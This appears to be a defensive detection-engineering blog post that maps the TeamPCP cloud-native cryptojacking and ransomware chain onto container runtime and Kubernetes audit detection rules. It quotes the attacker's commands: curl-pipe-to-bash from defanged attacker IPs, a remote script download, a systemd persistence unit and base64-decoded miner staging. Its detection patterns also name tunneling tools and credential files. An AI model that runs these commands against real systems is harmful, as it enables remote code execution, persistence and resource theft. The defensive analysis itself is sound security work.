Introduction
In the previous article, we examined how Defend for Containers (D4C) is deployed, how its policy model operates, and how its runtime telemetry is structured. With that foundation in place, the next step is to move from configuration and field analysis to applied detection engineering.
This post walks through a realistic container attack scenario based on the TeamPCP cloud-native ransomware operation, as documented by Flare. Rather than analyzing isolated techniques in abstraction, we follow the attack as it unfolds inside a containerized environment and examine how each stage manifests in D4C telemetry.
When mapped to MITRE ATT&CK, the activity in this scenario spans nearly the entire attack lifecycle. The intrusion progresses from execution and discovery inside the container to persistence, lateral movement, command-and-control activity, and ultimately impact.
By mapping these behaviors to concrete detection logic, this article demonstrates how D4C enables detection engineers to identify container compromise not as isolated suspicious commands, but as part of a structured attack chain.
TeamPCP - an emerging force in the cloud native and ransomware landscape
This scenario walks through the container compromise and propagation stage of the TeamPCP cloud-native ransomware operation, recently researched and documented by Flare. Rather than treating this as an abstract case study, the flow below mirrors how the attack plays out in practice and shows how D4C telemetry and pre-built detections surface each stage of the intrusion.
At a high level, the threat actor’s objectives in this stage are:
- Gain interactive code execution inside a container
- Determine whether the workload runs in Kubernetes
- Establish durable execution and persistence
- Propagate laterally across pods and nodes
- Prepare the environment for large-scale monetization (mining, ransomware, or resale)
Each of these goals leaves behind observable runtime behavior that D4C is well-positioned to detect.
Stage 1 – Initial execution via download and pipe-to-shell
The attack begins with a familiar but effective technique: downloading and immediately executing a script via a shell pipeline.
curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash
The intent here is to gain immediate execution while avoiding file creation. This is a classic tradecraft choice: no payload written to disk, no obvious artifact to scan.
From D4C's perspective, this still results in a highly suspicious runtime pattern. An interactive curl process executes inside a container and immediately spawns a shell interpreter. The parent–child relationship, command line, and container context are all captured.
sequence by process.parent.entity_id, container.id with maxspan=1s
[process where event.type == "start" and event.action == "exec" and
process.name in ("curl", "wget")]
[process where event.action in ("exec", "end") and
process.name like (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
"python*", "perl*", "ruby*", "lua*", "php*"
) and
process.args like (
"-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
"/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
"/bin/zsh", "/bin/ksh", "/bin/fish",
"/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
"/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
"-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
"*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
)]
This rule detects the download → interpreter execution pattern, even when no file is written to disk. Detecting this step is critical, as it is the first reliable indicator of hands-on-keyboard activity within a container.
Upon execution, TeamPCP scans the target system for competing mining processes and uses the pkill command to terminate them.
pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true
The competitor-killing logic from TeamPCP is very limited in comparison to its competitors, focusing only on xmrig. Manual process killing in containers is uncommon, especially when done via interactive processes.
process where event.type == "start" and event.action == "exec" and
container.id like "*?" and
(
process.name in ("kill", "pkill", "killall") or
(
/*
Account for tools that execute utilities as a subprocess,
in this case the target utility name will appear as a process arg
*/
process.name in (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
) and
process.args in (
"kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
"pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
"killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
)
)
)
The detection rules that triggered in this stage are available here:
- Payload Execution via Shell Pipe Detected by Defend for Containers
- Process Killing Detected via Defend for Containers
Resulting in the following detection alerts upon initial access:
Stage 2 – Kubernetes environment discovery
After gaining execution, the attacker checks whether the container is running inside Kubernetes by testing for a service account token:
if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]
This check determines whether the attack can expand beyond the current container. If the token exists, the attacker proceeds to abuse the Kubernetes API. Additionally, the dropped scripts enumerate environment variables and several sensitive file locations, triggering numerous discovery-related alerts.
The detection rules that triggered in this stage are available here:
- Service Account Namespace Read Detected via Defend for Containers
- Environment Variable Enumeration Detected via Defend for Containers
- Service Account Token or Certificate Read Detected via Defend for Containers
Resulting in the following detection alerts upon discovery:
Stage 3 – Lateral movement via kube.py
When a service account token is present, the attacker downloads and executes a Python script designed to enumerate pods and execute commands across the cluster:
curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py
At this point, the attacker’s goal is clear: turn a single compromised container into a foothold for cluster-wide propagation using legitimate Kubernetes APIs.
D4C detects this stage through a combination of file and process telemetry. A script is written to a temporary directory and executed immediately via an interpreter, all within an interactive container session.
Detecting an interactive curl command that pulls a file from a remote source is a strong detection signal for stale container workloads.
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
(
(process.name == "curl" or process.args in (
"curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
)
) and
process.args in (
"-o", "-O", "--output", "--remote-name",
"--remote-name-all", "--output-dir"
)
) or
(
(process.name == "wget" or process.args in (
"wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
)
) and
process.args like ("-*O*", "--output-document=*", "--output-file=*")
)
) and (
process.args like~ "*http*" or
process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"
The detection rule above detects the remote file download, but we can go one step further by detecting a sequence for file creation, followed by its execution within the same container context:
sequence by container.id, user.id with maxspan=3s
[file where host.os.type == "linux" and event.type == "creation" and
process.interactive == true and container.id like "?*" and
file.path like (
"/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
) and
not process.name in (
"apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",
"pacman", "rpm", "dpkg"
)] by file.path
[process where host.os.type == "linux" and event.type == "start" and
event.action == "exec" and process.interactive == true and
container.id like "?*"] by process.executable
Here, we focus on interactive processes while excluding files created by package managers, since we expect those to be present in typical workloads.
The detection rules that triggered in this stage are available here:
- File Creation and Execution Detected via Defend for Containers
- File Download Detected via Defend for Containers
Resulting in the following detection alerts upon lateral movement:
Stage 4 – Establishing persistence via Systemd
Persistence mechanisms such as systemd services are generally illogical in container environments. Most containers are designed to be short-lived, single-process workloads that rely on the container runtime or orchestrator for lifecycle management. They typically do not run a full init system, and even when systemd is present, changes made inside the container rarely survive redeployment, rescheduling, or image rebuilds.
As a result, attempts to establish persistence via systemd from within a container are a strong indicator of an anomaly. They often indicate one of two things: either the container is running with elevated privileges and access to the host filesystem, or the attacker expects to escape the container boundary and have their persistence mechanism take effect at the node level.
In the TeamPCP campaign, the attacker attempts to establish persistence by creating a systemd service:
cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF
This action is not consistent with normal container behavior. Writing systemd unit files from inside a container suggests an intent to persist beyond the container lifecycle, which is only meaningful if the underlying host is affected.
D4C captures this behavior as file creation activity in sensitive system locations originating from a container context. The following detection logic looks for write-oriented file activity in common Linux persistence paths, including systemd services, timers, cron jobs, sudoers files, and shell profile modifications:
file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
file.path like (
// Cron & Anacron Jobs
"/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
"/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*",
"/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*",
"/var/spool/anacron/*",
// At Job
"/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",
// Sudoers
"/etc/sudoers*"
) or
(
// Systemd Service/Timer
file.path like (
"/etc/systemd/system/*", "/etc/systemd/user/*",
"/usr/local/lib/systemd/system/*", "/lib/systemd/system/*",
"/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
"/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
"/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
) and
file.extension in ("service", "timer")
) or
(
// Shell Profile Configuration
file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
file.path like ("/home/*/*", "/etc/*", "/root/*") and
file.name in (
"profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
"csh.login", "config.fish", "ksh.kshrc", ".bashrc",
".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases",
".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
)
)
)
) and container.id like "?*" and
not process.name in (
"apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
"apk", "pacman", "rpm", "dpkg"
)
This detection does not focus solely on systemd. Instead, it models persistence more broadly by covering multiple common Linux persistence vectors that attackers may attempt once code execution is achieved. By explicitly excluding package managers, the rule reduces noise from legitimate update and installation activity.
The detection rule that triggered in this stage is available here:
Resulting in the following detection alerts upon persistence:
When this detection fires in a container context, it is a strong indicator of post-compromise behavior with potential host-level impact. It highlights activity that is not only suspicious but also structurally incompatible with how containers are expected to behave.
Stage 5 – Installing tooling at runtime
In Docker-based deployments, the attacker installs required tooling dynamically:
apk add --no-cache curl bash python3
This allows the same payload to run across different base images without modification.
From a defender’s perspective, runtime package installation inside a container is a strong indicator of post-deployment tampering. D4C detects this through process execution telemetry tied to known package managers.
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
(
process.name in (
"apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
) and process.args == "install"
) or
(process.name == "apk" and process.args == "add") or
(process.name == "pacman" and process.args like "-*S*") or
(process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
"curl", "wget", "socat", "busybox", "openssl", "torsocks",
"netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
"python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
"dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"
Not all package installations in containers are malicious. Upon orchestration, containers need to install certain packages to run. However, because threat actors often use package managers to install their required tooling, this is a strong signal for already-deployed container runtimes.
The detection rule that triggered in this stage is available here:
Resulting in the following detection alerts upon tool installation:
Stage 6 – Establishing tunneling and proxy access
Once stable execution and persistence are in place, TeamPCP shifts focus from access to connectivity. At this stage, the attackers deploy tunneling and proxy tooling such as frps and gost to expose internal services and maintain reliable external access.
The purpose of this step is to convert compromised containers into reusable infrastructure. By establishing tunnels or forwarders, the attackers can pivot into other environments, relay traffic, or reuse the compromised workload as part of a larger attack chain.
D4C detects this activity through process execution telemetry. The execution of known tunneling tools inside containers is uncommon for legitimate workloads and stands out clearly when combined with interactive execution and container context.
process where event.type == "start" and event.action == "exec" and (
(
// Tunneling and/or Port Forwarding via process args
(process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
// gost
(process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
// ssh
(process.name == "ssh" and (
process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and
not (process.args == "chmod" or process.args like "*rungencmd*"))
) or
// ssh Tunneling and/or Port Forwarding via SSH option
(process.name == "ssh" and process.args == "-o" and process.args like~(
"*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
"*DynamicForward*", "*Tunnel*", "*GatewayPorts*",
"*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
)
) or
// sshuttle
(process.name == "sshuttle" and
process.args in ("-r", "--remote", "-l", "--listen")
) or
// earthworm
(process.args == "-s" and process.args == "-d" and
process.args == "rssocks"
) or
// socat
(process.name == "socat" and
process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
) or
// chisel
(process.name like~ "chisel*" and process.args in ("client", "server")) or
// iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok
(process.name in (
"iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
"ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps",
"proxychains"
)
)
)
) and container.id like "?*"
There are many tunneling and port forwarding tools available on Linux systems. The umbrella rule displayed above leverages a combination of regex, process names, and process arguments to detect commonly observed tunneling activity.
The detection rule that triggered in this stage is available here:
Resulting in the following detection alerts upon tunneling and proxy access:
Detecting tunneling is important because it often marks the transition from short-lived compromise to sustained attacker presence. When correlated with earlier stages, it provides strong confirmation of intentional, ongoing abuse rather than opportunistic execution.
Stage 7 – Encoded payload execution
To obscure payload logic, the attacker executes a base64-encoded payload directly via Python:
python3 -c "exec(base64.b64decode('<payload>').decode())"
This technique reduces visibility into the payload itself but introduces distinctive execution characteristics: encoded arguments passed directly to an interpreter in an interactive session.
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
(process.name in (
"base64", "base64plain", "base64url", "base64mime", "base64pem",
"base32", "base16"
) and process.args like~ "*-*d*"
) or
(process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
(process.name == "openssl" and process.args == "enc" and
process.args in ("-d", "-base64", "-a")
) or
(process.name like "python*" and (
(process.args == "base64" and process.args in ("-d", "-u", "-t")) or
(process.args == "-c" and process.args like "*base64*" and
process.args like "*b64decode*")
)
) or
(process.name like "perl*" and process.args like "*decode_base64*") or
(process.name like "ruby*" and process.args == "-e" and
process.args like "*Base64.decode64*"
)
) and container.id like "?*"
There are many ways to decode a payload, but the umbrella rule shown above captures the most commonly observed techniques.
The detection rules that triggered in this stage are available here:
- Encoded Payload Detected via Defend for Containers
- Suspicious Interpreter Execution Detected via Defend for Containers
- Decoded Payload Piped to Interpreter Detected via Defend for Containers
Resulting in the following detection alerts upon execution:
Stage 8 – Miner deployment and execution
Eventually, the attacker reconstructs a miner from base64, writes it to disk, makes it executable, and launches it:
/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"
This stage represents the shift from setup to monetization. The attacker is now actively abusing cluster resources.
As mentioned previously, D4C will detect decoding of the base64 payload using the same rule linked in the previous stage. Three other signals that are important to detect are the creation of a base64 encoded payload, file permission changes in specific directories, and execution of newly created binaries in temporary directories.
For the creation of base64 encoded payloads, an umbrella rule was created that detects the execution of a shell with echo/printf built-ins, and a whitelist of commonly abused command lines:
process where event.type == "start" and event.action == "exec" and
process.interactive == true and process.name in (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and
process.args like (
"*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
"*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *",
"*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*",
"*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
"* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
"* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
"*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *"
) and container.id like "?*"
Especially for interactive processes, the following detection rule is a high signal.
The second piece of the flow relates to the file permission changes. Not all file permission changes are malicious, but detecting file permission changes to executable files in world-writeable directories via an interactive process within a container is not expected to occur frequently.
any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
process.name == "chmod" or
(
/*
account for tools that execute utilities as a subprocess,
in this case the target utility name will appear as a process arg
*/
process.name in (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
) and
process.args in (
"chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
)
)
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"
Note that we leverage the file and process event categories here. The reason for this is that D4C captures these changes through file events if set specifically in the policy, but by default will capture these process executions when set to detect execve calls.
The final piece of this chain relates to the execution of binaries in world-writeable locations. Most container runtimes will not execute payloads from these directories.
process where event.type == "start" and event.action == "exec" and process.interactive == true and (
process.executable like (
"/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
"/mnt/*", "/media/*", "/boot/*"
) or
// Hidden process execution
process.name like ".*"
) and container.id like "?*"
Note that the rule also captures hidden process executions. This is a technique commonly observed by threat actors as well, as they may attempt to evade detection by marking processes as hidden.
The detection rules that triggered in this stage are available here:
- File Execution Permission Modification Detected via Defend for Containers
- Suspicious Echo or Printf Execution Detected via Defend for Containers
- Suspicious Process Execution Detected via Defend for Containers
Resulting in the following detection alerts upon miner deployment and execution:
Stage 9 – Escalation to Node Control
Once the attacker has a foothold inside a container and access to an overprivileged service account, the next step is to abuse the Kubernetes control plane itself. This stage moves the attack beyond a single container and into cluster-wide impact. This activity is detected via Kubernetes audit logs. The Kubernetes audit log rules surfaced by this intrusion fall into three distinct patterns.
Stage 9.1 – Reconnaissance & API Abuse
The attacker's kube.py script uses the stolen service account token to enumerate pods, secrets, and nodes across all namespaces. From Kubernetes' perspective, this looks like a single identity making a burst of API calls across multiple resource types, a pattern that maps directly to permission enumeration detection logic. The use of Python's urllib rather than kubectl is also unusual as an API client.
The detection rules that triggered in this stage are available here:
- Kubernetes Potential Endpoint Permission Enumeration Attempt Detected
- Direct Interactive Kubernetes API Request by Unusual Utilities
Resulting in the following detection alerts upon reconnaissance and API abuse:
Stage 9.2 – Privilege Escalation & Workload Manipulation
With enumeration complete, the attacker creates a privileged DaemonSet (system-monitor) and relies on the overprivileged ClusterRole that was bound to the compromised service account. Both the workload creation and the role that enabled it are flagged: the DaemonSet as a sensitive workload modification, and the ClusterRole binding as a sensitive role granting broad permissions, including pods/exec, secret access, and DaemonSet creation.
The detection rules that triggered in this stage are available here:
- Unusual Kubernetes Sensitive Workload Modification
- Kubernetes Creation or Modification of Sensitive Role
Resulting in the following detection alerts upon privilege escalation and workload manipulation:
Stage 9.3 – Node-Level Escape
The DaemonSet's pod spec is designed to break every isolation boundary a container normally provides. It requests privileged mode, attaches to the host network and PID namespace, and mounts the node's root filesystem. Each of these properties triggers a separate detection rule, and together they paint a clear picture of a container workload engineered for node escape.
The detection rules that triggered in this stage are available here:
- Kubernetes Pod Created with a Sensitive hostPath Volume
- Kubernetes Privileged Pod Created
- Kubernetes Pod Created With HostNetwork
- Kubernetes Pod Created With HostPID
Resulting in the following detection alerts upon node-level escape:
These three sub-stages also highlight a key boundary in container-focused detection. While D4C excels at observing what happens inside containers, identifying how and why those containers were created requires Kubernetes control-plane telemetry. In a follow-up “Kubernetes Detection Engineering” series, we will focus on correlating D4C runtime events with Kubernetes Audit logs to detect multi-stage attacks that span workload creation, privilege escalation, and node-level impact.
For anyone already familiar with Kubernetes audit logs or interested in learning more about them, we have several prebuilt detection rules available that leverage the Kubernetes audit log framework in our GitHub detection-rules repository.
Stage 10 – Web Server Exploitation via React2Shell
In addition to exploiting compromised containers and Kubernetes control paths, TeamPCP also leverages direct web server exploitation to gain shell access on exposed services. One of the techniques referenced in related campaigns is React2Shell, where vulnerable web applications are abused to achieve remote command execution and drop into an interactive shell.
The attacker’s objective here is straightforward: expand access beyond Kubernetes workloads and increase the number of entry points into the environment. Web-facing services are often less strictly isolated than containers and can provide a fast path to host-level compromise if left unpatched.
From a detection standpoint, this activity is already well covered. Elastic provides an umbrella web server exploitation detection that flags suspicious command execution patterns originating from web server processes. In addition, multiple host-based Linux detections identify post-exploitation behavior following successful web shell access, such as unexpected shell execution, command interpreters launched by web services, and follow-on tooling execution.
Detecting this stage is important because it represents an alternative ingress path that bypasses container-specific defenses entirely. When correlated with earlier D4C detections, React2Shell-style exploitation helps confirm that the attacker is actively pursuing multiple avenues of access, increasing both blast radius and persistence potential.
The detection rule that triggered in this stage is available here:
Resulting in the following detection alerts upon web server exploitation:
What makes this scenario effective as a detection exercise is that every major objective of the attacker (execution, persistence, propagation, and monetization) manifests as runtime behavior inside containers. D4C's ability to observe that behavior in context allows detection engineers to follow the attack as it unfolds, rather than discovering it only after the damage is done.
Tying It All Together with Attack Discovery
Running individual detection rules across container runtime and Kubernetes audit telemetry produces dozens of alerts, each highlighting a single suspicious action in isolation. A defender reviewing these one by one would see a privileged pod here, a curl | bash there, and a burst of API enumeration somewhere else. The challenge is not generating alerts; it is recognizing that these 130+ signals are all part of the same operation.
This is where Attack Discovery comes in. Attack Discovery is Elastic's generative AI capability that ingests a set of alerts and automatically correlates them into coherent attack narratives. Rather than forcing an analyst to manually pivot between individual alerts, it identifies which signals belong together and maps them to the MITRE ATT&CK framework, producing a single, readable summary of what happened.
When pointed at the alerts generated by this simulation, Attack Discovery correctly reconstructed the full TeamPCP kill chain as a “Container Cryptojacking Attack Chain”. The summary identified:
- Initial Access: Web server exploitation on the victim node, where
busyboxspawned frompython3.11and executed reconnaissance commands (id,whoami,uname -a,cat /etc/passwd) - Privilege Escalation: The
system:serviceaccount:kube-system:daemon-set-controlleris creating highly privileged pods withHostPID,HostNetwork, privileged mode, and sensitivehostPathvolume mounts - Defense Evasion: Competitor cryptominer cleanup via
pkill -9 xmrigandpkill -9 XMRig, alongside base64-encoded Python payloads - Tool Staging: Runtime package installation (
apk,curl,bash,python3) and malicious script download viacurlfrom the simulated C2 server - C2 Infrastructure: Deployment of tunneling tools
gostandfrpcunder/opt/teampcp, with a SOCKS5 proxy listening on port 1081 - Impact: A decoded and staged
/tmp/minerbinary: the cryptojacking objective
The attack chain visualization maps the correlated alerts across the full MITRE ATT&CK kill chain, from Initial Access through to Impact, with confirmed activity in Execution, Privilege Escalation, Defense Evasion, Discovery, and Command & Control.
This is the payoff of combining D4C runtime telemetry with Kubernetes audit logs. Neither data source alone would produce this picture: container runtime sees the curl | bash, the gost process, and the miner binary, while the audit logs capture the DaemonSet creation, the RBAC abuse, and the API enumeration. Attack Discovery fuses both into a single narrative that a SOC analyst can act on immediately, without manually stitching together alerts across different indices and timeframes.
Conclusion
Across this attack chain, we observed a consistent pattern. Interactive execution within containers led to environment discovery, lateral movement via Kubernetes APIs, attempts at persistence in locations inconsistent with container design, installation of runtime tooling, tunneling activity, reconstruction of encoded payloads, and, finally, resource monetization. Each objective produced distinct runtime signals.
Defend for Containers’ value lies in surfacing these signals with the container and orchestration context attached. Process lineage, capability metadata, interactive execution flags, file modification telemetry, and container identity together allow detections to move beyond simple command matching and instead reason about intent and impact.
This scenario also highlights an important architectural boundary. While D4C provides deep runtime visibility inside containers, certain escalation steps, such as privileged workload creation or control-plane manipulation, require Kubernetes audit log telemetry for full visibility. Effective cloud-native detection, therefore, depends on combining runtime and control-plane data sources.
In the next phase of this series, we will extend this model beyond the container boundary and explore Kubernetes control-plane detection engineering, correlating audit logs with D4C runtime events to detect multi-stage attacks that span workloads, nodes, and the cluster itself.
